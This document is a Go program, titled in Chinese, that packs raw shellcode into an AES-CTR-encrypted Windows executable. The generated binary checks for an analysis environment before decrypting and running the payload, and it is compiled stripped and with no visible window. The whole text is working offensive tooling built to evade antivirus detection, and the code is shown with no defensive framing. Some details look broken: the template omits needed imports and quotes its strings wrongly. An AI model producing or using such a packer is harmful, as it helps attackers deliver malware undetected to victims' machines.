Golang Shellcode 加密：使用 AES-CTR 替换简单算法

package main

import ( "crypto/aes" "crypto/cipher" "crypto/rand" "encoding/base64" "fmt" "gld/detect" "gld/loader" "gld/util" "io/ioutil" "os" "os/exec" )

var template = `package main

import ( "encoding/base64" "gld/detect" "gld/loader" "gld/util" )

func main() { if !detect.ContinueRun() { return }

key, _ := base64.StdEncoding.DecodeString('%s')
iv, _ := base64.StdEncoding.DecodeString('%s')
buf, _ := base64.StdEncoding.DecodeString('%s')

block, err := aes.NewCipher(key)
if err != nil {
	panic(err)
}

stream := cipher.NewCTR(block, iv)

stream.XORKeyStream(buf, buf)

buf = util.R(buf)

loader.X(buf)

} `

const TEMP = "temp.go"

func main() { if len(os.Args) < 2 { println("./gld shellcode.bin [x64/x86]") return }

f := os.Args[1]
raw, err := ioutil.ReadFile(f)
if err != nil {
	println("[!] " + err.Error())
	return
}

key := make([]byte, 32)
iv := make([]byte, aes.BlockSize)
rand.Read(key)
rand.Read(iv)

block, err := aes.NewCipher(key)
if err != nil {
	panic(err)
}

stream := cipher.NewCTR(block, iv)

stream.XORKeyStream(raw, raw)

raw = util.E(raw, key, iv)
err = ioutil.WriteFile(
	TEMP,
	[]byte(fmt.Sprintf(
		template,
		base64.StdEncoding.EncodeToString(key),
		base64.StdEncoding.EncodeToString(iv),
		base64.StdEncoding.EncodeToString(raw))),
	0777,
)
if err != nil {
	println("[!] Generate fail: " + err.Error())
	return
}
println("[*] Generate template")

var arch string
if len(os.Args) > 2 {
	arch = os.Args[2]
} else {
	arch = "x64"
}

var output string
switch arch {
case "x64":
	os.Setenv("GOARCH", "amd64")
	output = "x64.exe"
case "x86":
	os.Setenv("GOARCH", "386")
	output = "x86.exe"
default:
	println("[!] Unknown arch")
	return
}
println("[*] Compiling " + output)

err = exec.Command("go", "build", "-ldflags", "-w -s -H=windowsgui", "-o", output, TEMP).Run()
if err != nil {
	println("[!] Compile fail: " + err.Error())
	return
}

println("[+] Generate successfully -> " + output)

}